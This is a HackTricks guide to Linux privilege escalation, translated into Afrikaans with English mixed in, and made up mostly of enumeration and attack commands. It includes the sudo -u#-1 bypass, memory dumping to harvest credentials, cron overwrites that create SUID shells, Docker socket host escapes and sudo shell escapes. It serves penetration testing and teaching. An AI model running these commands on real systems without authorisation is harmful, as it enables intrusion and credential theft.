hacktricks/src/linux-hardening/privilege-escalation/README.md

Linux Privilege Escalation

{{#include ../../banners/hacktricks-training.md}}

Stelselinligting

OS-inligting

Kom ons begin om inligting oor die lopende OS in te win

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Pad

As jy skryfregte op enige gids binne die PATH-veranderlike het kan jy dalk sekere libraries of binaries hijack:

echo $PATH

Omgewingsinligting

Interessante inligting, wagwoorde of API-sleutels in die omgewingsveranderlikes?

(env || set) 2>/dev/null

Kernel exploits

Kontroleer die kernel-weergawe en of daar 'n exploit is wat gebruik kan word om privileges te escalate.

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Jy kan 'n goeie vulnerable kernel list en sommige reeds compiled exploits hier vind: https://github.com/lucyoa/kernel-exploits en exploitdb sploits.
Ander webwerwe waar jy sommige compiled exploits kan vind: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Om al die vulnerable kernel versions vanaf daardie webwerf te onttrek, kan jy dit doen:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Tools wat kan help om na kernel exploits te soek, is:

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (voer uit IN victim, slegs kontroleer exploits vir kernel 2.x)

Soek altyd die kernel-weergawe op Google, dalk is jou kernel-weergawe in 'n kernel exploit geskryf en dan sal jy seker wees dat daardie exploit geldig is.

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo weergawe

Gebaseer op die kwesbare sudo-weergawes wat verskyn in:

searchsploit sudo

Jy kan nagaan of die sudo-weergawe kwesbaar is deur hierdie grep te gebruik.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo < v1.28

Van @sickrov

sudo -u#-1 /bin/bash

Dmesg-handtekeningverifikasie het gefaal

Kyk na smasher2 box of HTB vir 'n voorbeeld van hoe hierdie vuln misbruik kan word

dmesg 2>/dev/null | grep "signature"

Meer system enumeration

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Som moontlike verdedigings op

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Breakout

As jy binne 'n docker container is, kan jy probeer daaruit te ontsnap:

{{#ref}} docker-security/ {{#endref}}

Skywe

Kontroleer wat gemonteer en wat nie gemonteer is nie, waar en waarom. As iets nie gemonteer is nie, kan jy probeer dit te mount en kyk vir privaat inligting.

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Nuttige sagteware

Lys nuttige binaries

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Kontroleer ook of enige samesteller geïnstalleer is. Dit is nuttig as jy 'n kernel exploit moet gebruik, aangesien dit aanbeveel word om dit op die masjien te samestel waar jy dit gaan gebruik (of op 'n soortgelyke masjien).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Geïnstalleerde kwesbare sagteware

Kyk na die weergawe van die geïnstalleerde pakkette en dienste. Miskien is daar 'n ouer Nagios-weergawe (byvoorbeeld) wat uitgebuit kan word om escalating privileges…
Dit word aanbeveel om die weergawe van die meer verdagte geïnstalleerde sagteware handmatig te kontroleer.

dpkg -l #Debian
rpm -qa #Centos

Indien jy SSH-toegang tot die masjien het, kan jy ook openVAS gebruik om te kontroleer vir verouderde en kwesbare sagteware wat in die masjien geïnstalleer is.

[!NOTE] > Neem kennis dat hierdie kommando's baie inligting sal toon wat meestal nutteloos sal wees, daarom word dit aanbeveel om toepassings soos OpenVAS of soortgelyke te gebruik wat sal nagaan of enige geïnstalleerde sagtewareweergawe kwesbaar is vir bekende exploits

Prosesse

Kyk na watter prosesse uitgevoer word en kontroleer of enige proses meer voorregte het as wat dit behoort te hê (miskien 'n tomcat wat deur root uitgevoer word?)

ps aux
ps -ef
top -n 1

Kyk altyd vir moontlike electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas identifiseer dit deur die --inspect parameter binne die opdragreël van die proses te kontroleer.
Kyk ook na jou voorregte oor die binaire lêers van die prosesse, dalk kan jy iemand oorskryf.

Prosesmonitering

Jy kan gereedskap soos pspy gebruik om prosesse te monitor. Dit kan baie nuttig wees om kwesbare prosesse te identifiseer wat gereeld uitgevoer word of wanneer 'n stel vereistes vervul is.

Prosesgeheue

Sommige dienste op 'n bediener stoor inlogbewyse in platteks in die geheue.
Normaalweg sal jy root privileges nodig hê om die geheue van prosesse wat aan ander gebruikers behoort te lees, daarom is dit gewoonlik meer nuttig wanneer jy reeds root is en meer inlogbewyse wil ontdek.
Dit gesê, onthou dat as 'n gewone gebruiker jy die geheue van die prosesse wat aan jou behoort kan lees.

Warning

Let daarop dat deesdae die meeste masjiene nie ptrace standaard toelaat nie, wat beteken dat jy nie ander prosesse wat aan jou nie-bevoorregte gebruiker behoort kan dump nie.

Die lêer /proc/sys/kernel/yama/ptrace_scope beheer die toeganklikheid van ptrace:

• kernel.yama.ptrace_scope = 0: alle prosesse kan gedebug word, solank hulle dieselfde uid het. Dit is die klassieke manier waarop ptrace gewerk het.
• kernel.yama.ptrace_scope = 1: slegs 'n ouerproses kan gedebug word.
• kernel.yama.ptrace_scope = 2: slegs admin kan ptrace gebruik, aangesien dit die CAP_SYS_PTRACE bevoegdheid vereis.
• kernel.yama.ptrace_scope = 3: Geen prosesse mag met ptrace getraceer word nie. Sodra dit gestel is, is 'n herbegin nodig om ptrace weer in te skakel.

GDB

As jy toegang het tot die geheue van 'n FTP-diens (byvoorbeeld) kan jy die Heap kry en daarin na sy inlogbewyse soek.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDB Script

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Vir 'n gegewe proses-ID, maps toon hoe geheue binne daardie proses se virtuele adresruimte gekarteer is; dit wys ook die toestemmings van elke gekarteerde gebied. Die mem pseudo-lêer stel die proses se geheue self bloot. Uit die maps-lêer weet ons watter geheuegebiede leesbaar is en hul offsets. Ons gebruik hierdie inligting om in die mem-lêer te seek en alle leesbare gebiede te dump na 'n lêer.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem gee toegang tot die stelsel se fisiese geheue, nie die virtuele geheue nie. Die kernel se virtuele adresruimte kan met /dev/kmem bereik word.
Tipies is /dev/mem slegs leesbaar deur root en die kmem groep.

strings /dev/mem -n10 | grep -i PASS

ProcDump for linux

ProcDump is 'n Linux-herverbeelding van die klassieke ProcDump-instrument uit die Sysinternals-reeks gereedskap vir Windows. Kry dit by https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Gereedskap

Om die geheue van 'n proses te dump, kan jy die volgende gebruik:

• https://github.com/Sysinternals/ProcDump-for-Linux
• https://github.com/hajzer/bash-memory-dump (root) - _Jy kan handmatig root-vereistes verwyder en die proses wat aan jou behoort dump
• Script A.5 van https://www.delaat.net/rp/2016-2017/p97/report.pdf (root word vereis)

Kredensiale uit Prosesgeheue

Handmatige voorbeeld

As jy sien dat die authenticator process aan die gang is:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Jy kan die process dump (sien die vorige afdelings om verskillende maniere te vind om die memory van 'n process te dump) en in die memory na credentials soek:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

Die tool https://github.com/huntergregal/mimipenguin sal steal clear text credentials from memory en vanaf sommige bekende lêers. Dit vereis root privileges om behoorlik te werk.

Kenmerk	Prosesnaam
GDM password (Kali Desktop, Debian Desktop)	gdm-password
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)	gnome-keyring-daemon
LightDM (Ubuntu Desktop)	lightdm
VSFTPd (Active FTP Connections)	vsftpd
Apache2 (Active HTTP Basic Auth Sessions)	apache2
OpenSSH (Active SSH Sessions - Sudo Usage)	sshd:

Soek Regexes/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Geskeduleerde/Cron-take

Kontroleer of enige geskeduleerde taak kwesbaar is. Miskien kan jy 'n script wat deur root uitgevoer word benut (wildcard vuln? kan jy files wat root gebruik wysig? gebruik symlinks? skep spesifieke files in die directory wat root gebruik?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Cron path

Byvoorbeeld, binne /etc/crontab kan jy die PATH vind: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Let op hoe die gebruiker "user" skryfprivileges oor /home/user het)

As binne hierdie crontab die root-gebruiker probeer om 'n opdrag of script uit te voer sonder om die PATH te stel. Byvoorbeeld: * * * * root overwrite.sh
Dan kan jy 'n root shell kry deur:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron wat 'n script met 'n wildcard gebruik (Wildcard Injection)

As 'n script deur root uitgevoer word en 'n “*” in 'n command bevat, kan jy dit uitbuit om onverwagte dinge te laat gebeur (soos privesc). Voorbeeld:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

As die wildcard voorafgegaan word deur 'n pad soos /some/path/* , is dit nie kwesbaar nie (selfs ./* is nie).

Lees die volgende bladsy vir meer wildcard uitbuitingstrieke:

{{#ref}} wildcards-spare-tricks.md {{#endref}}

Cron-skrip oorskryf en symlink

As jy kan wysig 'n cron script wat deur root uitgevoer word, kan jy baie maklik 'n shell kry:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

As die script wat deur root uitgevoer word 'n gids waartoe jy volle toegang het gebruik, kan dit dalk nuttig wees om daardie gids te verwyder en 'n symlink-gids na 'n ander een te skep wat 'n script bedien wat deur jou beheer word.

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Gereelde cron jobs

Jy kan prosesse monitor om te soek na prosesse wat elke 1, 2 of 5 minute uitgevoer word. Miskien kan jy daarvan voordeel trek en escalate privileges.

Byvoorbeeld, om moniteer elke 0.1s vir 1 minuut, sorteer volgens die minste uitgevoerde opdragte en verwyder die opdragte wat die meeste uitgevoer is, kan jy doen:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Jy kan ook gebruik maak van pspy (dit moniteer en lys elke proses wat begin).

Onsigbare cron jobs

Dit is moontlik om 'n cronjob te skep deur 'n carriage return na 'n kommentaar te plaas (sonder newline character), en die cron job sal werk. Voorbeeld (let op die carriage return char):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Services

Writable .service files

Kyk of jy enige .service file kan skryf, as jy dit kan, kan jy dit wysig sodat dit jou backdoor uitvoer wanneer die diens begin, herbegin of gestop word (miskien sal jy moet wag totdat die masjien herbegin).
Byvoorbeeld, skep jou backdoor binne die .service-lêer met ExecStart=/tmp/script.sh

Skryfbare service-binaries

Hou in gedagte dat as jy skryftoestemmings oor binaries wat deur services uitgevoer word het, jy dit kan verander om backdoors in te sit sodat wanneer die services weer uitgevoer word die backdoors uitgevoer sal word.

systemd PATH - Relatiewe paaie

Jy kan die PATH wat deur systemd gebruik word sien met:

systemctl show-environment

As jy vind dat jy in enige van die gidse van die pad kan skryf, mag jy moontlik escalate privileges. Jy moet soek na relative paths wat in service konfigurasie-lêers gebruik word, soos:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Skep dan 'n executable met presies die dieselfde naam as die relatiewe pad binary binne die systemd PATH-lêergids waarin jy kan skryf; wanneer die service gevra word om die kwesbare aksie uit te voer (Start, Stop, Reload), sal jou backdoor uitgevoer word (onbevoorregte gebruikers kan gewoonlik nie services begin/stop nie — kyk of jy sudo -l kan gebruik).

Lees meer oor services met man systemd.service.

Timers

Timers is systemd unit-lêers waarvan die naam eindig in **.timer** en wat **.service**-lêers of gebeure beheer. Timers kan as 'n alternatief vir cron gebruik word, aangesien hulle ingeboude ondersteuning het vir calendar time events en monotonic time events en asynchroon uitgevoer kan word.

Jy kan al die timers opnoem met:

systemctl list-timers --all

Skryfbare timers

As jy 'n timer kan wysig, kan jy dit gebruik om sekere bestaande systemd.unit-eenhede uit te voer (soos 'n .service of 'n .target).

Unit=backdoor.service

In die dokumentasie kan jy lees wat die Unit is:

The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix.

Dus, om hierdie toestemming te misbruik sou jy nodig hê om:

• Vind some systemd unit (like a .service) wat 'n skryfbare binaire uitvoer
• Vind some systemd unit wat 'n relatiewe pad uitvoer en jy het skryfpermissies oor die systemd PATH (om daardie uitvoerbare na te boots)

Lees meer oor timers met man systemd.timer.

Timer inskakeling

Om 'n timer in te skakel het jy root-regte nodig en moet jy die volgende uitvoer:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Let wel dat die timer geaktiveer word deur 'n symlink daarna te skep op /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Sockets

Unix Domain Sockets (UDS) stel proseskommunikasie in staat op dieselfde of verskillende masjiene binne kliënt-bediener modelle. Hulle maak gebruik van standaard Unix-beskrywerlêers vir kommunikasie tussen rekenaars en word opgestel deur .socket-lêers.

Sockets kan geconfigureer word met behulp van .socket-lêers.

Leer meer oor sockets met man systemd.socket. In hierdie lêer kan verskeie interessante parameters gekonfigureer word:

• ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Hierdie opsies verskil, maar 'n samevatting word gebruik om aan te dui waarheen dit na die socket gaan luister (die pad van die AF_UNIX socket-lêer, die IPv4/6 en/of poortnommer om na te luister, ens.)
• Accept: Neem 'n boolean-argument. As true, word 'n service instance vir elke inkomende verbinding geskep en slegs die verbindings-socket daaraan deurgegee. As false, word al die luister-sockets self aan die gestarte service unit deurgegee, en slegs een service unit word vir al die verbindings geskep. Hierdie waarde word geïgnoreer vir datagram sockets en FIFOs waar 'n enkele service unit onvoorwaardelik al die inkomende verkeer hanteer. Standaard is false. Vir prestasie-redes word aanbeveel om nuwe daemons slegs op 'n wyse te skryf wat geskik is vir Accept=no.
• ExecStartPre, ExecStartPost: Neem een of meer opdragreëls wat onderskeidelik uitgevoer word voordat of nadat die luister sockets/FIFOs geskep en gebind is. Die eerste token van die opdragreël moet 'n absolute lêernaam wees, gevolg deur argumente vir die proses.
• ExecStopPre, ExecStopPost: Bykomende opdragte wat onderskeidelik uitgevoer word voordat of nadat die luister sockets/FIFOs gesluit en verwyder word.
• Service: Spesifiseer die naam van die service unit om te aktiveer by inkomende verkeer. Hierdie instelling is slegs toegelaat vir sockets met Accept=no. Dit gebruik standaard die service wat dieselfde naam as die socket dra (met die agtervoegsel vervang). In meeste gevalle behoort dit nie nodig te wees om hierdie opsie te gebruik nie.

Skryfbare .socket-lêers

As jy 'n skryfbare .socket-lêer vind, kan jy aan die begin van die [Socket]-afdeling iets byvoeg soos: ExecStartPre=/home/kali/sys/backdoor en die backdoor sal uitgevoer word voordat die socket geskep word. Daarom sal jy waarskynlik moet wag totdat die masjien herbegin is.
Note that the system must be using that socket file configuration or the backdoor won't be executed

Skryfbare sockets

As jy enige skryfbare socket identifiseer (nou praat ons van Unix Sockets en nie van die konfigurasie .socket-lêers nie), dan kan jy kommunikeer met daardie socket en dalk 'n kwesbaarheid uitbuit.

Enumereer Unix Sockets

netstat -a -p --unix

Ruwe verbinding

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Voorbeeld van eksploitasie:

{{#ref}} socket-command-injection.md {{#endref}}

HTTP sockets

Let daarop dat daar moontlik sommige sockets listening for HTTP requests kan wees (Ek praat nie van .socket files nie maar van die lêers wat as unix sockets optree). Jy kan dit nagaan met:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

As die socket op 'n HTTP-versoek reageer, kan jy daarmee kommunikeer en dalk 'n kwesbaarheid uitbuit.

Skryfbare Docker Socket

Die Docker socket, wat dikwels by /var/run/docker.sock gevind word, is 'n kritiese lêer wat beveilig moet word. Volgens verstek is dit skryfbaar deur die root gebruiker en lede van die docker groep. Besit van skriftoegang tot hierdie socket kan lei tot privilege escalation. Hieronder is 'n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes as die Docker CLI nie beskikbaar is nie.

Privilege Escalation met Docker CLI

As jy skriftoegang tot die Docker socket het, kan jy privilege escalation bewerkstellig deur die volgende opdragte te gebruik:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Hierdie opdragte laat jou toe om 'n container te laat loop met root-vlak toegang tot die gasheer se lêerstelsel.

Gebruik die Docker API direk

In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker socket nog steeds gemanipuleer word met die Docker API en curl-opdragte.

1. List Docker Images: Haal die lys van beskikbare images op.

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json

2. Create a Container: Stuur 'n versoek om 'n container te skep wat die gasheer se wortelgids mount.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Start die pas geskepte container:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start

3. Koppel aan die Container: Gebruik socat om 'n verbinding met die container te vestig, wat die uitvoering van opdragte binne dit moontlik maak.

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Na die opstel van die socat-verbinding kan jy opdragte direk in die container uitvoer met root-toegang tot die gasheer se lêerstelsel.

Ander

Let wel dat as jy skryfbevoegdhede oor die docker-sok het omdat jy in die groep docker is, het jy more ways to escalate privileges. As die docker API is listening in a port you can also be able to compromise it.

Kyk na meer maniere om uit docker te breek of dit te misbruik om bevoegdhede te eskaleer in:

{{#ref}} docker-security/ {{#endref}}

Containerd (ctr) bevoegdheid-eskalasie

As jy vind dat jy die ctr opdrag kan gebruik, lees die volgende bladsy aangesien jy dit moontlik kan misbruik om bevoegdhede te eskaleer:

{{#ref}} containerd-ctr-privilege-escalation.md {{#endref}}

RunC bevoegdheid-eskalasie

As jy vind dat jy die runc opdrag kan gebruik, lees die volgende bladsy aangesien jy dit moontlik kan misbruik om bevoegdhede te eskaleer:

{{#ref}} runc-privilege-escalation.md {{#endref}}

D-Bus

D-Bus is 'n gesofistikeerde inter-Process Communication (IPC) system wat toepassings in staat stel om doeltreffend met mekaar te kommunikeer en data te deel. Ontwerp met die moderne Linux-stelsel in gedagte, bied dit 'n robuuste raamwerk vir verskeie vorme van toepassingskommunikasie.

Die stelsel is veelsydig en ondersteun basiese IPC wat data-uitruiling tussen prosesse verbeter, wat herinner aan enhanced UNIX domain sockets. Verder help dit met die uitsaai van gebeurtenisse of seine, wat naatlose integrasie tussen stelselkomponente bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth-daemon oor 'n inkomende oproep kan 'n musiekspeler laat demp, wat die gebruikerservaring verbeter. Boonop ondersteun D-Bus 'n remote object system, wat diensversoeke en metode-aanroepe tussen toepassings vereenvoudig en prosesse stroomlyn wat tradisioneel kompleks was.

D-Bus werk op 'n allow/deny model, en bestuur boodskaptoestemmings (metode-aanroepe, seinuitsendings, ens.) gebaseer op die kumulatiewe effek van ooreenstemmende beleidsreëls. Hierdie beleidsreëls spesifiseer interaksies met die bus en kan potensieel bevoegdheid-eskalasie toelaat deur die misbruik van hierdie toestemmings.

'n Voorbeeld van so 'n beleid in /etc/dbus-1/system.d/wpa_supplicant.conf word verskaf, wat toestemmings uiteensit vir die root-gebruiker om eienaarskap te hê oor, boodskappe na te stuur aan, en boodskappe van fi.w1.wpa_supplicant1 te ontvang.

Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "default" konteksbeleide geld vir almal wat nie deur ander spesifieke beleide gedek word nie.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Leer hier hoe om 'n D-Bus communication te enumerate en te exploit:

{{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md {{#endref}}

Netwerk

Dit is altyd interessant om die netwerk te enumerate en die posisie van die masjien uit te vind.

Generiese enumeration

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Oop poorte

Kontroleer altyd netwerkdienste wat op die masjien loop en waarmee jy voor toegang nie kon kommunikeer nie:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

Kontroleer of jy sniff traffic kan uitvoer. As dit moontlik is, kan jy dalk 'n paar credentials onderskep.

timeout 1 tcpdump

Users

Generic Enumeration

Kontroleer who jy is, watter privileges jy het, watter users in die stelsels is, watter van hulle kan login en watter het root privileges:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Big UID

Sommige Linux-weergawes is geraak deur 'n fout wat gebruikers met UID > INT_MAX toelaat om voorregte op te skaal. Meer inligting: here, here and here.
Exploit it using: systemd-run -t /bin/bash

Groeppe

Kontroleer of jy 'n lid van 'n groep is wat jou root-voorregte kan gee:

{{#ref}} interesting-groups-linux-pe/ {{#endref}}

Klembord

Kyk of iets interessant in die klembord is (indien moontlik)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Wagwoordbeleid

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Bekende wagwoorde

As jy enige wagwoord van die omgewing ken, probeer as elke gebruiker met daardie wagwoord aanmeld.

Su Brute

Indien jy nie omgee om baie geraas te veroorsaak nie en die su en timeout binaries op die rekenaar teenwoordig is, kan jy probeer om gebruikers te brute-force met su-bruteforce.
Linpeas met die -a parameter probeer ook om gebruikers te brute-force.

Skryfbare PATH-misbruik

$PATH

Indien jy agterkom dat jy in 'n gids in die $PATH kan skryf, kan jy dalk bevoegdhede eskaleer deur 'n backdoor in die skryfbare gids te skep met die naam van 'n opdrag wat deur 'n ander gebruiker (ideaalweg root) uitgevoer gaan word en wat nie vanaf 'n gids voor jou skryfbare gids in $PATH gelaai word nie.

SUDO and SUID

Jy mag toegelaat wees om sekere opdragte met sudo uit te voer of hulle kan die suid-bit hê. Kontroleer dit met:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Sommige onverwagte opdragte laat jou toe om lêers te lees en/of te skryf of selfs 'n opdrag uit te voer. Byvoorbeeld:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

Sudo-konfigurasie kan 'n gebruiker toelaat om 'n kommando met 'n ander gebruiker se bevoegdhede uit te voer sonder om die wagwoord te ken.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

In hierdie voorbeeld kan die gebruiker demo vim as root uitvoer, dit is nou triviaal om 'n shell te kry deur 'n ssh key in die root directory by te voeg of deur sh aan te roep.

sudo vim -c '!sh'

SETENV

Hierdie direktief laat die gebruiker toe om 'n omgewingsveranderlike te stel terwyl iets uitgevoer word:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Hierdie voorbeeld, gebaseer op HTB machine Admirer, was kwesbaar vir PYTHONPATH hijacking om 'n arbitrêre python library te laai terwyl die script as root uitgevoer is:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

